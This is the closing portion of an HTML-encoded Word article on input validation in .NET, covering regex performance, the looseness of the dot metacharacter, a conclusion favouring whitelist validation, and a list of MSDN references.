&lt;P class=first-para style="MARGIN: 0.15in 0in 0pt 1in; TEXT-INDENT: -0.25in; mso-list: l1 level2 lfo2"&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt; FONT-FAMILY: 'Courier New'; mso-fareast-font-family: 'Courier New'; mso-fareast-language: EN-US"&gt;&lt;SPAN style="mso-list: Ignore"&gt;o&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt; FONT-FAMILY: 'Calibri','sans-serif'; mso-bidi-font-family: 'Times New Roman'; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-fareast-language: EN-US"&gt;The more complex the regular expression, the more CPU cycles are required. RegEx generally have exponential complexity. Use of OR (|) to create a complex regular expression can slow down your application.&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=first-para style="MARGIN: 0.15in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l1 level1 lfo2"&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol; mso-fareast-language: EN-US"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt; FONT-FAMILY: 'Calibri','sans-serif'; mso-bidi-font-family: 'Times New Roman'; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-fareast-language: EN-US"&gt;Certain kinds of strings are very hard, if not impossible to recognize by regular expressions.&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=first-para style="MARGIN: 0.15in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l1 level1 lfo2"&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol; mso-fareast-language: EN-US"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt; FONT-FAMILY: 'Calibri','sans-serif'; mso-bidi-font-family: 'Times New Roman'; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-fareast-language: EN-US"&gt;Sometimes it requires extra time and effort to construct RegEx which will validate all good data &lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=first-para style="MARGIN: 0.15in 0in 0pt 1in; TEXT-INDENT: -0.25in; mso-list: l1 level2 lfo2"&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt; FONT-FAMILY: 'Courier New'; mso-fareast-font-family: 'Courier New'; mso-fareast-language: EN-US"&gt;&lt;SPAN style="mso-list: Ignore"&gt;o&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt; FONT-FAMILY: 'Calibri','sans-serif'; mso-bidi-font-family: 'Times New Roman'; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-fareast-language: EN-US"&gt;Different input but all are valid forms E.g a valid email address can be – &lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;A href="mailto:abc@foo.com"&gt;&lt;SPAN style="FONT-SIZE: 11pt; COLOR: windowtext; FONT-FAMILY: 'Calibri','sans-serif'; TEXT-DECORATION: none; mso-bidi-font-family: 'Times New Roman'; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-fareast-language: EN-US; text-underline: none"&gt;abc@foo.com&lt;/SPAN&gt;&lt;/A&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt; FONT-FAMILY: 'Calibri','sans-serif'; mso-bidi-font-family: 'Times New Roman'; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-fareast-language: EN-US"&gt; or &lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;A href="mailto:abc@111.222.333.444"&gt;&lt;SPAN style="FONT-SIZE: 11pt; COLOR: windowtext; FONT-FAMILY: 'Calibri','sans-serif'; TEXT-DECORATION: none; mso-bidi-font-family: 'Times New Roman'; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-fareast-language: EN-US; text-underline: none"&gt;abc@111.222.333.444&lt;/SPAN&gt;&lt;/A&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt; FONT-FAMILY: 'Calibri','sans-serif'; mso-bidi-font-family: 'Times New Roman'; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-fareast-language: EN-US"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=first-para style="MARGIN: 0.15in 0in 0pt"&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt; FONT-FAMILY: 'Calibri','sans-serif'; mso-bidi-font-family: 'Times New Roman'; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-fareast-language: EN-US"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;A class="" name=_Toc168485144&gt;&lt;/A&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Cambria color=#4f81bd size=4&gt;Be careful with the DOT(.)&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in; tab-stops: .25in 48.0pt 78.0pt 1.5in 138.0pt 168.0pt 2.75in 228.0pt 258.0pt 4.0in 318.0pt 348.0pt 5.25in 408.0pt 438.0pt 6.5in 498.0pt 528.0pt 7.75in 588.0pt 618.0pt 9.0in 678.0pt 708.0pt 10.25in 768.0pt 798.0pt 11.5in 858.0pt 888.0pt 12.75in 948.0pt; mso-layout-grid-align: none"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt; FONT-FAMILY: 'Calibri','sans-serif'; mso-bidi-font-family: 'Times New Roman'; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-fareast-language: EN-US"&gt;Dot is a very powerful regular expression meta- character, but there is something important to understand about its use. &lt;/SPAN&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt"&gt;&lt;FONT face="Times New Roman"&gt;Dot is a part &lt;/FONT&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt; FONT-FAMILY: 'Calibri','sans-serif'; mso-bidi-font-family: 'Times New Roman'; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-fareast-language: EN-US"&gt;of character class that represents a set of characters which can match an input string; the dot matches a single character without caring what that character is. The only exceptions are newline characters. This means that the regular expression will also match in cases where it should not match. Thus, use of DOT sometimes creates regular expression that is very loosely written. &lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt; FONT-FAMILY: 'Calibri','sans-serif'; mso-bidi-font-family: 'Times New Roman'; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-fareast-language: EN-US"&gt;For example, let's say we want to match a date in mm/dd/yy format, but we want to leave the user the choice of date separators. The quick solution is \d\d.\d\d.\d\d. Seems fine at first. It will match a date like 04/09/07 just fine. The problem comes when you pass something like “04109807” via this regular expression. &lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&lt;/SPAN&gt;This input passes the validation requirement without any red alerts. Why? Because it is also considered a valid date by the quick solution regular expression. In this match, the first dot matched 1, and the second matched 8. Clearly this is something which is not intended. It is therefore advised to use this meta-character sparingly or with caution. &lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;H1 style="MARGIN: 24pt 0in 0pt"&gt;&lt;A class="" name=_Toc168485145&gt;&lt;/A&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Cambria color=#365f91 size=5&gt;Conclusions&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/H1&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN style="mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN style="mso-ansi-language: EN-US"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;The .NET framework has many powerful features for implementing white list validation.&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;Remember to use white list validation whenever possible.&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&lt;/SPAN&gt;It is a more restrictive, definitive, and manageable means to perform strong input validation in your applications.&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN style="mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN style="mso-ansi-language: EN-US"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;On the other hand, black list validation is less restrictive and more difficult to manage and maintain.&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;As you have seen, there are many ways to bypass black list validation.&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN style="mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN style="mso-ansi-language: EN-US"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;Of course, a combination of both the approaches can be leveraged where it is difficult to define exactly what you are looking for in the input. However you validate, consider a centralize approach to input and data validation within your application.&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;Maintainability of the code becomes quite simple as your validation routines are defined at one place. &lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN style="mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN style="mso-ansi-language: EN-US"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;Attacks on the application layer have tremendously increased over the years. Most of the deadly web application attacks exploit poor input validation as root vulnerability. Understanding the right validation approach and techniques for user input filtering are the keys to a secure web application. &lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN style="mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN style="mso-ansi-language: EN-US"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;It’s a bad world outside so- Validate! Validate and validate all user controlled input prior to consuming it.&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN style="mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN style="mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN style="mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;A class="" name=_Toc168485146&gt;&lt;/A&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Cambria color=#365f91 size=5&gt;References&lt;/FONT&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Cambria color=#365f91 size=5&gt; &lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 0in 0in 0pt 0.75in; TEXT-INDENT: -0.25in; mso-list: l0 level1 lfo1"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT size=3&gt;·&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;A href="http://msdn2.microsoft.com/en-us/library/ms998378.aspx#pagquestionlist0002_inputdatavalidation"&gt;&lt;FONT face=Calibri color=#0000ff size=3&gt;http://msdn2.microsoft.com/en-us/library/ms998378.aspx#pagquestionlist0002_inputdatavalidation&lt;/FONT&gt;&lt;/A&gt;&lt;FONT face=Calibri size=3&gt; &lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 15pt 15pt 15pt 0.75in; VERTICAL-ALIGN: top; TEXT-INDENT: -0.25in; LINE-HEIGHT: 140%; mso-list: l0 level1 lfo1"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT size=3&gt;·&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 10pt; LINE-HEIGHT: 140%; FONT-FAMILY: 'Verdana','sans-serif'; mso-bidi-font-family: Arial"&gt;Anti-Cross Site Scripting Library - &lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;A href="http://msdn2.microsoft.com/en-us/security/aa973814.aspx"&gt;&lt;SPAN style="FONT-SIZE: 10pt; LINE-HEIGHT: 140%; FONT-FAMILY: 'Verdana','sans-serif'; mso-bidi-font-family: Arial"&gt;&lt;FONT color=#0000ff&gt;http://msdn2.microsoft.com/en-us/security/aa973814.aspx&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/A&gt;&lt;U&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/U&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 15pt 15pt 15pt 0.75in; VERTICAL-ALIGN: top; TEXT-INDENT: -0.25in; LINE-HEIGHT: 140%; mso-list: l0 level1 lfo1"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT size=3&gt;·&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;A href="http://msdn.microsoft.com/archive/default.asp?url=/archive/en-us/samples/internet/components/sitelock/default.asp"&gt;&lt;FONT face=Calibri color=#0000ff size=3&gt;http://msdn.microsoft.com/archive/default.asp?url=/archive/en-us/samples/internet/components/sitelock/default.asp&lt;/FONT&gt;&lt;/A&gt;&lt;U&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/U&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 15pt 15pt 15pt 0.75in; VERTICAL-ALIGN: top; TEXT-INDENT: -0.25in; LINE-HEIGHT: 140%; mso-list: l0 level1 lfo1"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT size=3&gt;·&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;A href="http://msdn2.microsoft.com/en-us/library/ms998267.aspx"&gt;&lt;SPAN style="COLOR: windowtext"&gt;&lt;FONT face=Calibri size=3&gt;How To: Use Regular Expressions to Constrain Input in ASP.NET&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/A&gt;&lt;U&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/U&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 15pt 15pt 15pt 0.75in; VERTICAL-ALIGN: top; TEXT-INDENT: -0.25in; LINE-HEIGHT: 140%; mso-list: l0 level1 lfo1"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT size=3&gt;·&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;A href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/cpguide/html/cpconvalidatorcontrolsamples.asp"&gt;&lt;FONT face=Calibri color=#0000ff size=3&gt;Developing a Validator Control&lt;/FONT&gt;&lt;/A&gt;&lt;U&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/U&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 15pt 15pt 15pt 0.75in; VERTICAL-ALIGN: top; TEXT-INDENT: -0.25in; LINE-HEIGHT: 140%; mso-list: l0 level1 lfo1"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT size=3&gt;·&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;A href="http://msdn2.microsoft.com/en-us/library/7kh55542.aspx"&gt;&lt;FONT face=Calibri color=#0000ff size=3&gt;Validating User input in ASP.NET web pages&lt;/FONT&gt;&lt;/A&gt;&lt;U&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/U&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 15pt 15pt 15pt 0.75in; VERTICAL-ALIGN: top; TEXT-INDENT: -0.25in; LINE-HEIGHT: 140%; mso-list: l0 level1 lfo1"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT size=3&gt;·&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;A href="http://www.guidancelibrary.com/default.aspx/Home.RegExInputValCode"&gt;&lt;FONT face=Calibri color=#0000ff size=3&gt;http://www.guidancelibrary.com/default.aspx/Home.RegExInputValCode&lt;/FONT&gt;&lt;/A&gt;&lt;U&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/U&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 15pt 15pt 15pt 0.75in; VERTICAL-ALIGN: top; TEXT-INDENT: -0.25in; LINE-HEIGHT: 140%; mso-list: l0 level1 lfo1"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT size=3&gt;·&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;A href="http://www.gotdotnet.com/Community/UserSamples/Details.aspx?SampleGuid=c712f2df-b026-4d58-8961-4ee2729d7322"&gt;&lt;FONT face=Calibri color=#0000ff size=3&gt;Regular Expression Work bench&lt;/FONT&gt;&lt;/A&gt;&lt;U&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/U&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 15pt 15pt 15pt 0.75in; VERTICAL-ALIGN: top; TEXT-INDENT: -0.25in; LINE-HEIGHT: 140%; mso-list: l0 level1 lfo1"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT size=3&gt;·&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;A href="http://www.regular-expressions.info/"&gt;&lt;FONT face=Calibri color=#0000ff size=3&gt;http://www.regular-expressions.info/&lt;/FONT&gt;&lt;/A&gt;&lt;U&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/U&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 15pt 15pt 15pt 0.75in; VERTICAL-ALIGN: top; TEXT-INDENT: -0.25in; LINE-HEIGHT: 140%; mso-list: l0 level1 lfo1"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT size=3&gt;·&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;A href="http://msdn2.microsoft.com/en-us/library/Aa302416.aspx#strongnames_topic4"&gt;&lt;FONT face=Calibri color=#0000ff size=3&gt;http://msdn2.microsoft.com/en-us/library/Aa302416.aspx#strongnames_topic4&lt;/FONT&gt;&lt;/A&gt;&lt;U&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;/U&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 15pt 15pt 15pt 0.75in; VERTICAL-ALIGN: top; TEXT-INDENT: -0.25in; LINE-HEIGHT: 140%; mso-list: l0 level1 lfo1"&gt;&lt;SPAN lang=EN-IN&gt;&lt;U&gt;&lt;FONT face=Calibri size=3&gt;&lt;/FONT&gt;&lt;/U&gt;&lt;/SPAN&gt;&amp;nbsp;&lt;/P&gt;
